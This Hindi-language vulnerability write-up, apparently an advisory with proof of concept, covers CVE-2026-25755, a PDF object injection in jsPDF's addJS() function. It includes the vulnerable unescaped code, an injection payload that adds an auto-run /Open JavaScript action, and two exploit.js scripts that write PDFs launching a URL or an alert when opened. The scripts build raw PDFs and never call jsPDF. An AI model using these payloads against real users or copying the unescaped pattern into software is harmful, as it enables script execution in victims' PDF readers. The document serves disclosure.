
CVE-2026-25755 jsPDF में एक गंभीर PDF ऑब्जेक्ट इंजेक्शन भेद्यता हमलावरों को addJS() फ़ंक्शन के माध्यम से मनमाने PDF ऑब्जेक्ट इंजेक्ट करने की अनुमति देती है, जिससे AcroJS सैंडबॉक्स बाईपास और PDF खोले जाने पर स्वचालित स्क्रिप्ट निष्पादन संभव हो जाता है।
jsPDF में एक गंभीर PDF ऑब्जेक्ट इंजेक्शन भेद्यता (CVE-2026-25755) खोजी गई है, जो क्लाइंट-साइड अनुप्रयोगों में PDF दस्तावेज़ उत्पन्न करने के लिए व्यापक रूप से उपयोग की जाने वाली JavaScript लाइब्रेरी है। यह भेद्यता addJS() फ़ंक्शन में मौजूद है, जो हमलावरों को अनुचित इनपुट सैनिटाइज़ेशन के माध्यम से मनमाने PDF ऑब्जेक्ट इंजेक्ट करने और AcroJS सैंडबॉक्स प्रतिबंधों को बायपास करने की अनुमति देती है।
jsPDF में addJS() फ़ंक्शन डेवलपर्स को उत्पन्न PDF फ़ाइलों के भीतर JavaScript कोड एम्बेड करने की अनुमति देता है। हालाँकि, संस्करण 4.2.0 से पहले, यह फ़ंक्शन विशेष PDF सिंटैक्स वर्णों वाले उपयोगकर्ता इनपुट को ठीक से सैनिटाइज़ करने में विफल रहा।
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
यह फ़ंक्शन बिना एस्केपिंग के उपयोगकर्ता इनपुट को सीधे PDF ऑब्जेक्ट स्ट्रीम में जोड़ता है:
()\यह हमलावरों को JavaScript स्ट्रिंग संदर्भ को समय से पहले बंद करने और मनमाने PDF ऑब्जेक्ट इंजेक्ट करने की अनुमति देता है।
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
इंजेक्शन बिंदु - स्ट्रिंग संदर्भ से बच निकला
| चरण | क्रिया | परिणाम |
|---|---|---|
| 1 | ) मूल /JS स्ट्रिंग को बंद करता है | स्ट्रिंग संदर्भ समाप्त |
| 2 | >> वर्तमान PDF ऑब्जेक्ट को बंद करता है | ऑब्जेक्ट संरचना टूट गई |
| 3 | /AA << /Open << ... | नया एक्शन डिक्शनरी इंजेक्ट किया गया |
| 4 | मनमाने PDF ऑब्जेक्ट जोड़े गए | पूर्ण ऑब्जेक्ट इंजेक्शन प्राप्त हुआ |
exploit.js नामक एक फ़ाइल बनाएं और उसमें निम्नलिखित लिखें
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
node exploit.js चलाएं